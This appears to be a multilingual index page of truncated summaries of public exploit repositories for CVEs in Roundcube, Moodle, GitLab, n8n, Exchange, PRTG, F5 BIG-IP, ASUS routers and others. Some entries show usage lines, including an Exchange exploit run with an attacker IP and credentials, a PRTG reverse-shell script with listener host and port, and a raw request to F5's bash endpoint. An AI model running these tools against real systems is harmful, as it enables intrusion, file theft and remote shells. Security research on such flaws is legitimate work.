CVE-2025-49113

Exploit CVE-2025-49113 Roundcube Un exploit Python per CVE-2025-49113, che sfrutta una vulnerabilità in Roundcube webmail che consente l'esecuzione remota di codice tramite deserializzazione di oggetti PHP. Panoramica Questo exploit sfrutta una vulnerabilità di deserializzazione nella funzionalit...

CVE-2022-35650

CVE-2022-35650 Dies ist ein beliebiges Dateilesen in Moodle. Voraussetzungen Sie müssen einen Lehrer- oder Admin-Benutzer kompromittiert haben. Schritte 1. Klonen Sie dieses Repo: root@kitploit: git clone https://github.com/Gr4y-r0se/CVE-2022-35650.git 2. Führen Sie diesen Befehl aus, um den...

CVE-2022-2185

CVE-2022-2185 wo ee cve-2022-2185 gitlab authenticated rce पढ़ें: https://starlabs.sg/blog/2022/07-gitlab-project-import-rce-analysis-cve-2022-2185/ उपयोग कैसे करें पहले एक gitlab इंस्टेंस स्पॉन करें। लॉग इन करें, एक अनोखे नाम के साथ एक ग्रुप और प्रोजेक्ट बनाएं। एक एक्सेस टोकन बनाएं। main.go में ...

n8n-CVE-2025-68613-exploit

n8n - CVE-2025-68613: Controllo Improprio delle Risorse di Codice Gestite Dinamicamente Vulnerabilità n8n contiene una vulnerabilità critica di Esecuzione di Codice Arbitrario nel suo sistema di valutazione delle espressioni dei flussi di lavoro. In determinate condizioni, le espressioni fornite ...

CVE-2025-49113-exploit

CVE-2025-49113 - Esecuzione di codice in remoto in Roundcube Un proof-of-concept per CVE-2025-49113, una vulnerabilità di esecuzione di codice in remoto in Roundcube Webmail. Descrizione Questo exploit sfrutta una vulnerabilità di deserializzazione in Roundcube Webmail versioni dalla 1.5.0 alla...

CVE-2026-45504

CVE-2026-45504 Lettura File Exchange CVE-2026-45504 Exchange File Read Blog di Ricerca python3 CVE-2026-45504.py --attacker-ip 192.168.2.238 --attacker-port 9020 --creds [email protected] --password Hawktrace1 --target https://mail.exchange.local --target-file...

CVE-2025-49113-Roundcube-RCE-PHP

CVE-2025-49113-Roundcube-RCE-PHP Roundcube Webmail versões 1.5.0 até 1.6.10 Este é um exploit reescrito para funcionar com PHP. Uso root@kitploit: php CVE-2025-49113.php...

CVE-2018-9276

CVE-2018-9276 CVE-2018-9276 PRTG 18.2.39 Обратный шелл поддержка Python3 Зависимости Impacket версия для python3 Netcat Msfvenom Использование root@kitploit: git clone https://github.com/A1vinSmith/CVE-2018-9276.git ./exploit.py -i targetIP -p targetPort --lhost hostIP --lport hostPort --user use...

CVE-2026-80183

OpenStack Keystone before 29.0.3 is vulnerable to a broken access control flaw in list_role_assignments_for_tree, caused by misuse of "None" in the policy domain_id check. Because a domain's project record stores domain_id=null, any authenticated user holding role:reader on any project can pass a...

CVE-2026-80183

In OpenStack Keystone before 29.0.3, any authenticated user holding role:reader on any project can list every project-scoped role assignment under any domain by passing a domain ID as scope.project.id with includesubtree to the GET /v3/roleassignments endpoint. The domain's project record has...

CVE-2026-80183

In OpenStack Keystone before 29.0.3, any authenticated user holding role:reader on any project can list every project-scoped role assignment under any domain by passing a domain ID as scope.project.id with includesubtree to the GET /v3/roleassignments endpoint. The domain's project record has...

CVE-2022-31298

CVE-2022-31298 Haraj Script 3.7 - XSS Armazenado Autenticado Título do Exploit: Haraj Script 3.7 - XSS Armazenado Autenticado Data: 2022-06-13 CVE: CVE-2022-31298 Autor do Exploit: Abdulaziz Saad @b4zb0z Homepage do Fornecedor: https://angtech.org/ Link do Software:...

CVE-2024-46987

CVE-2024-46987 - Camaleon CMS 로컬 파일 포함 Camaleon CMS에 대한 인증된 로컬 파일 포함LFI 익스플로잇. 취약점 Camaleon CMS는 /admin/media/downloadprivatefile 엔드포인트를 통해 인증된 LFI 공격에 취약합니다. file 매개변수가 적절히 검증되지 않아 경로 탐색path traversal을 통해 서버의 임의 파일을 읽을 수 있습니다. 영향을 받는 버전 Camaleon CMS 2.8.2 요구 사항 root@kitploit: pip install request...

Hoverfly-1.11.3-RCE-CVE-2025-54123-Exploit

CVE-2025-54123 — Remote-Code-Ausführung über Hoverfly Middleware API Authentifizierte RCE durch OS-Befehlseinschleusung in Hoverfly ≤ 1.11.3 Schwachstellenübersicht...

CVE-2022-47447

CVE-2022-47447 POC CSRF - CVE-2022-47447 ⚠️ Uso exclusivo para fins educativos e ambientes autorizados. PoC funcional para a vulnerabilidade CVE-2022-47447, que afeta um plugin de WordPress vulnerável, permitindo um ataque do tipo Cross-Site Request Forgery CSRF contra usuários autenticados. URL...

CVE-2018-14714-RCE-exploit

CVE-2018-14714 RCE 概念验证 华硕WiFi路由器RCE漏洞 此概念验证仅用于学习和研究。请勿用于非法活动，您需自行承担任何法律后果。 这是基于此PoC进行代码修改后进行的测试，因为原始PoC可能因缺少root权限而失败。 https://github.com/sunn1day/CVE-2018-14714-POC 在以下演示中，测试的设备型号为ASUS RT-N18U，固件版本为3.0.0.4.378.9216，这是我大学期间购买的路由器，现在是我的测试机 : 漏洞概念验证 利用条件 可用于登录的账户和密码。...

frevvomapexec

frevvomapexec frevvomapexec ist ein Skript zur Überprüfung der Existenz einer blinden SQL-Injection-Schwachstelle, indem eine von Ihnen gewählte Verzögerung in Sekunden in Square 9 GlobalForms 6.2 injiziert wird. Um zu bestätigen, dass die Schwachstelle legitim ist, wird der Endbenutzer...

CVE-2021-36981

CVE-2021-36981 Verinice.Pro 1.22.1 Deserializzazione Java non sicura di dati non attendibili, che porta all'esecuzione di codice remoto utilizzando il gadget C3P0 autenticato Codice PoC per sfruttare la vulnerabilità di deserializzazione. Vedi...

CVE-2022-1388-Scanner

F5 CVE-2022-1388 扫描器 BIG-IP iControl REST 漏洞 CVE-2022-1388 扫描器 用法 root@kitploit: pip install -r requirements.txt pytohn3 CVE-2022-1388-Scanner.py 请求 root@kitploit: POST /mgmt/tm/util/bash HTTP/1.1 Host: REDACTED:8083 Content-Length: 45 Connection: Keep-Alive, X-F5-Auth-Token Cache-Control:...

CVE-2025-55886

CVE-2025-55886 描述 在ARD中发现了一个不安全的直接对象引用（IDOR）漏洞。该漏洞存在于支付历史API端点的feuid参数中。已认证的攻击者可以操纵此参数，未经授权访问其他用户的支付历史。 受影响组件 root@kitploit: https://services.ard.fr/?eID=txafereloadrecords&dc=1743696277812&feuid=USERID&startTimestamp=1741017877&endTimestamp=1743782677&mobile=1&page=1&start=0&limit=100 受影响的产品代码库...